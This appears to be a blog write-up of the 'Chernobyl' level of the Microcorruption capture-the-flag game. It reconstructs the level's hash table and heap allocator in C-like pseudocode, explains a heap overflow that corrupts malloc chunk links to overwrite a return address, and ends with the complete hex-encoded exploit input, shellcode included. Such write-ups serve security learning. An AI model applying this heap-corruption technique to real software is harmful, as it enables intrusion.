ntype.club

chernobyl

penultimate level of microcorruption

struct hash_table_header {
    short size;
    short size_a;
    short size_b;
    hash_table_entry_list *l;
    hash_table_entry_count *c;
};

struct hash_table_entry_list {
    hash_table_entry *entries;
};

struct hash_table_entry_count {
    short *entry_counts;
};

struct hash_table_entry {
    h_entry *entries;
};

struct h_entry {
    char user[16];
    short pin; 
}
       
struct malloc_header {                                       
    short start; //0x2400                 
    short size;  //0x2404
    short free;  //starts at 1                       
}                        
                            
malloc_header *mh = (malloc_header *)(0x2400);
                           
struct malloc_chunk {
    malloc_chunk *bk;                                                  
    malloc_chunk *fd;                                                
    short size;
}

void *malloc(short size)
{                       
    malloc_chunk *create;
                                       
    if(mh->free & 0x01) { 
        create = mh->start;
        create->bk = mh->start;
        create->fd = mh->start;                       
                                                          
        create->size = (mh->size - 10) * 2; //wilderness size
        mh->free = 0;                                        
    }                                                        
                                    
    create = mh->start;           
                                      
alloca:                   
    if(!create->size & 0x01) {
        short half = (create->size / 2);          
        if(half >= size) {                 
            size += 6;                  
            if(half >= size) {
                create->size = (size * 2) | 1;
                malloc_chunk *after = (malloc_chunk *) create + 6 + size;
                after->bk = create;                                      
                after->fd = create->fd;                                  
                                       
                half -= size - 10;     
                after->size = half * 2;
                create->fd = after;    
                return (create + 6);   
            } else {                
                create->size |= 1;  
                return (create + 6);
            }                                                 
        }    
    }    
     
    //if not allocating from first chunk
    if(create->fd < create || create->bk == create->fd) { //security check
        puts("Heap Exhausted");                                           
        exit();                
    }          
     
    create = create->fd;
    goto alloca;        
}

void free(void *chk)
{
    malloc_chunk *chunk = (chk - 6); //align to bk ptr
    chunk->size = chunk->size & 0xFFFE; //drop prev in use
    short prev_size = chunk->bk->size;
    if(!prev_size & 0x01) { //prev is free
        prev_size += 6 + chunk_over_size;
        chunk->bk->size = prev_size;
        chunk->bk->fd = chunk->fd;
        chunk->fd->bk = chunk->bk->bk;
        chunk = chunk->bk;
    }
    if(chunk->fd->size & 0x01) { //r14 = chunk->fd
        chunk->size += 6 + chunk->fd->size;
        chunk->fd = chunk->fd->fd; 
        chunk->fd->bk = chunk;
    }
}

short hash(char *c)
{
    short hash = 0;
    while(*c !=0) {
        hash = (*c + hash) * 31;
    }
    return hash;
}

void add_to_table(hash_table_header *h, char *user, short pin)
{
    short h_a = h->size_a; //r14
    short h_b = h->size_b; //r12

    short max_size = (h_b * (2**h_ha)) / 4; //10

    if(h->size >= max_size) {
        rehash(h, h->size_a + 1);
    }
    
    h->size++;
    short hv = hash(user);
    short max_bucket_size = (2**h_a);
    short bucket = hv & (max_bucket_size - 1);

    short curr_bucket_size = h->c[bucket]; //r14
    short expanded = curr_bucket_size * 32;
    
    //r11 = h->l[bucket];
    h->c[bucket]++;
    short ctr = 0;
    while(*user != 0 && ctr < 15) {
        h->l->entries[bucket]->entries[bucket]->user[ctr] = *user;
        user++;
    }

    h->l->entries[bucket]->entries[bucket]->pin = pin;
}

void rehash(hash_table_header *h, short new_size_a)
{                                                  
    short old_size = h->a;
    hash_table_entry_list *old_list = h->l;
    hash_table_entry_count *old_count = h->c;
                                             
    h->size_a = new_size_a;
    h->size = 0;           
    short exp_a = 2**(new_size_a + 1);
                                      
    h->l = malloc(exp_a);
    h->c = malloc(exp_a);
                         
    int ctr = 1;
    int ctr2 = 0; //r10
    int exp_aa = 2 ** new_size_a;
    int mul_b = h->b * 18;       
                          
    while(ctr2 < exp_aa) {
        h->l[ctr2] = malloc(mul_b);
        h->c[ctr2] = 0;            
        ctr2++;        
    }          
     
    short old_exp_a = 2**(old_size); //0(sp)
    int ctr = 0;                            
                
    while(ctr < old_exp_a) {
        int loc = 0;        
        ctr2 = 0;   
        if(loc < old_count[ctr]) {
            add_to_table(h, old_entries[ctr]->entries[loc]->user, old_entries[ctr]->entries[loc]->pin);
            loc++;   
        }         
         
        free(old_entries[ctr]);
        ctr++;                 
    }         
     
    free(old_count);
    free(old_entries);
}

void create_hash_table(int a, int b) //3,5
{
    hash_table_header *h = malloc(10);  
    h->size = 0;
    h->size_a = a;
    h->size_b = b;

    int exp_a = 2 ** (a + 1); //16, 8 entries
    h->l = malloc(exp_a);
    h->c = malloc(exp_a);

    int exp_aa = 2 ** a; //8
    int mul_b = b * 18;

    int ctr = 0;

    while(ctr < exp_aa) {
        int loc = ctr * 2;
        h->l[ctr] = malloc(mul_b);
        h->c[ctr] = 0;
        ctr++;
    }

    return h;
} 

Quite a bit of code in this challenge, I probably went overboard. The program accepts two commands, ‘new user pin’ and ‘access user pin’, creating a user appends it in a hash bucket which allows heap overflow.

The table is rehashed when its capacity is exceeded, calling free() on each hash bucket (which we can corrupt). There is a caveat, malloc is called before free and expects an unbroken linked list. I got around this by overwriting two malloc chunks, the first leap frogs over the second corrupted chunk preventing the malloc code from erroring.

Here’s what the relevant heap section looks like before and after corruption:

[chunk 0 @ 0x5000] –> (0x5000) | (0x505A) | (0xB5)

[chunk 1 @ 0x505A] –> (0x5000) | (0x50B4) | (0xB5)

[chunk 2 @ 0x50B4] –> (0x505A) | (0x510E) | (0xB5)

Corrupting the first two chunks:

[chunk 0 @ 0x5000] –> (0x5000) | (0x50B4) | (0xB5)

[chunk 1 @ 0x505A] –> (SHELL) | (RETA ) | (0xB5)

[chunk 2 @ 0x50B4] –> (0x505A) | (0x510E) | (0xB5)

Here’s the lengthy solution, each line can be concatenated with ‘;’. The program requires an ‘invalid command’ to trigger the overwritten return address.

6E6577207020313B6E657720707020323B6E65772070707020333B6E6577207070707020343B6E65772070707070702035
6e6577203c505c51b504
6e6577203f407f903ff07f400f12b012ec4c01
6E65772070707070707020313B6E6577207070707070707020323B6E6577207070707070707070702033
6e657720db3f70707070f650f64303